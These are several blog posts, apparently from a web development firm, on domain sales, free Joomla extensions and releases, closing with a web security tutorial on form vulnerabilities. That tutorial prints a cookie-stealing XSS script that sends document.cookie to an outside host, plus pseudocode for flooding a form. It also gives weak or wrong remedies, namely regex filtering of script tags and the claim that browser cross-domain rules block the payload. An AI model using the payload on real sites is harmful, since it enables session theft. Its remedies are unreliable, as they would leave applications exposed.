Premium Domain Names Now Available

Starting today, we are introducing premium domain name registrations. In case you are wondering what is that, premium domain names are highly sought after domain names made up of important keywords and brand friendly words and phrases. They are usually privately owned and are sold at a much higher price than an ordinary domain name.

One very good examples of currently available premium domain name is logo.com. Similarly you can find some really cool domain names which aren’t otherwise easily available for registration. Of course, these domains are available at a significant higher price than normal domain names but if you choose a premium domain name correctly, it’ll be worth every penny spent.

Here are some more reasons for choosing a premium domain name.

premium domain name registration

Though premium domain names comes with a premium price, renewal of such domains generally cost the normal renewal cost which means it’s a one time cost (read investment) and not a recurring expensive purchase.

So, what are you waiting for. Hop on to our domain registration portal and find an awesome premium domain for your business.

 

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Sexy Social Media Module for Joomla

Our latest free Joomla extension ‘Sexy Social Bar Module‘ is now available for demo and download.

Sexy Social Bar module is a stylish way of showing your social media profiles to your website visitors. You can publish the module on either left or right side of the module and selected profile slides in and out in a stylish manner with jQuery effects.

Currently the module supports 23 social profile links mentioned below.

  • AIM
  • Behance
  • Digg
  • Dribble
  • Evernote
  • Facebook
  • Flickr
  • Forrst
  • Google+
  • Github
  • Last FM
  • LinkedIn
  • Paypal
  • RSS feed
  • ShareThis
  • Skype
  • Tumblr
  • Twitter
  • Vimeo
  • WordPress
  • Yahoo
  • YouTube
  • Zerply

You can see the demo in action on our Joomla extension demo site. Extension is pending review in JED and should be released shortly but you don’t have to wait till then. You can download sexy social profiles bar module now itself from our website.

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Simple Responsive Image Gallery for Joomla

Today we are releasing another free and open source Joomla extension –  Simple Responsive Image Gallery.

As the name of the extension indicates, it’s a simple, lightweight and fully responsive image gallery which also supports HiDPI/retina devices. There is almost zero configuration required and it works out of the box. All you have to do is select the folder from where the module will pick the images. It automatically generates thumbnails for the images under selected folder.

What makes it different and refreshing is that it doesn’t use the boring popup/lightbox effect for showing the image. Instead, it shows in inline with the page with a nice and clean effect. Check the demo here – Demo.

To use the HiDPI/Retina device support, you need all images in double (@2x) size. Default size for thumbnails is 240px x 150px and for fullscreen 960px x 600px. It’s 480px x 300px for thumbnails and 1920px x 1200px for fullscreen images. If a file’s full screen filename is ABC.png then leastjs will automatically request for ABC@2X.png when it detects HiDPI device. All you have to do is have two files as per above mentioned naming convention.

Module is currently pending review in JED hence you can directly download it from here till it becomes available on JED.

This module is based on leastjs jQuery plugin by Kamil Czujowski . 

 

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We are one of the TOP 25 web design and development companies in Delhi NCR

We are very proud to share the news that popular IT magazine and portal Silicon India has rated us as one of the top 25 web design and development companies in Delhi NCR region. It’s a huge achievement for us and I take this opportunity to thank our clients, partners and our design and development team for making this happen.

sopan technologies was rated as one of the top 25 companies in Delhi NCR

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Frontpage Carousel for Joomla

We are proud to release yet another free and open source Joomla extension Frontpage Carousel. It allows you to show articles from one or more categories from your Joomla site in a nice carousel view. The carousel is inspired from YUI carousel however it’s written in Mootools since YUI and Mootools don’t play well together. Demo of the extension is now available on our Joomla extension’s demo site.

Here is a screenshot of the module.

module

It might take a couple of weeks before the listing on Joomla Extension Directory goes live however it’s available for direct download on our site along with our other free Joomla extensions. Download here and enjoy this free extension!

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JConverter 1.2 beta released

Following up the previous post about JConverter 3.x compatible version, we are happy to announce the release of JConverter 1.2 beta which works with latest version of Joomla 3.x. We have tested it with Joomla 3.1.5 and it works great :)

This release is available along with the standard 2.5 compatible release JConverter 1.2  so when you purchase one, you get both. There is a limitation in the 3.x compatible release due to which it can’t import comments from WordPress into Joomla. That is because of JConverter’s dependency on JComments extension. As soon as 3.x compatible version of JComments is released, we’ll add the support for the same.

You can download JConverter here - http://extensions.joomla.org/extensions/migration-a-conversion/data-import-a-export/10237

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JConverter for Joomla 3.0 coming soon!

Considering the numerous requests for making JConverter Joomla 3.x compatible, we have been working on it since last couple of weeks. The extension works great with Joomla 3.x, we have tested it with latest stable version of Joomla (3.1.5) as on today. However there are a few things remaining due to which the launch of 3.x compatible JConverter might take another week or so.

First is the design, since 3.x Joomla uses twitter bootstrap’s responsive template by default, we had to change all the templates/views of extension, a couple of them are yet to be fixed. Secondly, JConverter integrates with popular comments extension JComments for importing comments from WordPress but the problem is that there is no 3.x compatible version of JComments yet, which means import comments functionality won’t be available most likely in 3.x compatible release. We thought of integrating it with another comments system which is compatible with 3.x however we simply couldn’t find a comments extension which is as popular as JComments and is open source as well. We are hoping they’ll release the 3.x compatible version soon.

If you haven’t yet decided to move to 3.x then you can go here to download JConverter for your 2.5 site – Download. Stay tuned for launch update on 3.x compatible release of JConverter.

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Dog Boarding in Sweden

For past couple of months, one of our team is working on a exciting project called Tasspass. Tasspass is a concatenation of two Swedish words – Tass and Pass, Tass means “paw” and Pass means “home”.

Screenshot from 2013-04-08 15:29:25

Tasspass is one of the very first dog boarding site in Sweden. We have developed the site from scratch including logo and website design.

We are glad to share the news that tasspass.se is launching today. We are very proud to be associated with Tasspass and we firmly believe that it’ll do very well in days to come. We wish them luck and success.

Happy (dog) boarding!!

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Web Applications Security – Forms, when not well formed

Over whelming responses on the part 1 of this series was awesome, lots of queries via twitter and bunch of good comments excited me to write on higher frequency, taking a note of same now. As promised to provide solution to query asked in part 1, it flows down below:

Practically there will be lots of address and lots of things that you can pass on as gift and for sure, it would be a better idea to do something like this:

// let us assume that current user will send gift as a deliverable to himself/herself
// we will address the issue to send the gift to her/him in upcoming days
if(isUserRegisteredWithAddress(address)){
performDelivery("gift","address");
}

We will continue toward better solutions throughout the series but don’t hesitate to post your just now.

Okay, let’s fasten our seat belts again to have a fast paced ride.

When I asked many developers which is the most important tag you think?  Most of them answered <form> tag because it is the thing that does everything way round between site and its user.

As a security concern <form> tag is “the one” tag which needs to be taken care of the most, lets discuss the various security concerns with this element, later we will discuss various approach to solve these concerns.

1. Cross site scripting

The de’facto well known hack out there using javascript. Let’s see how it works. Consider a form like this:

<form action="SaveReview" method="GET">
  Your name: <input type="text" name="name">
  Your review: <input type="text" name="review">
  <input type="submit" value="Submit">
</form>

Okay, now there comes an user and enter his name prady and in the review field enters this:

<script>
document.location = 'http://pradeep-kumar.in/stealCookies?cookies=' + document.cookie;
</script>

You probably take review of particular user to show it somewhere on your site. You tried to show prady’s reviews and what’s this? He got cookies of different users. Your users being dumped in someway other.

2. Spoofed form submission

Now for the above form, someone can easily program bogus form submissions. That can be done something like below by anyone in any technology of his/her choice

//initialize variables
name=prady;
review=review;
WHILE(1){
//initiate a new http request and repeatably forge
request='http://yoursite.com/saveReview?name=' + name + '&amp;review=' + review;
name=randomize(name);
review=randomize(review);
}

Your site will be overwhelming by reviews in a very short period of time.

Fixing the problems

Lets discuss a fix for XSS attack. We can dis-allow <script> tag by using regular expressions in our controller for saving new reviews. Most of the frameworks and CMS do that for you, take care of this issue for code re-use and better maintainability.

Now comes forged formed submission. Here we can include a encrypted form number in a hidden field in form and save the same somewhere on server, when user submits form, we can cross check the validity of form itself by matching form number in GET request against stored ones on server.

These are just some fixes to the problems, most of them already taken care like most browsers doesn’t allow cross-domain ajax requests just because of existence of  XSS there. So, script posted above will not work in modern browsers. Please post your solutions to problems in the comments and stay tuned for next post.

See you soon.

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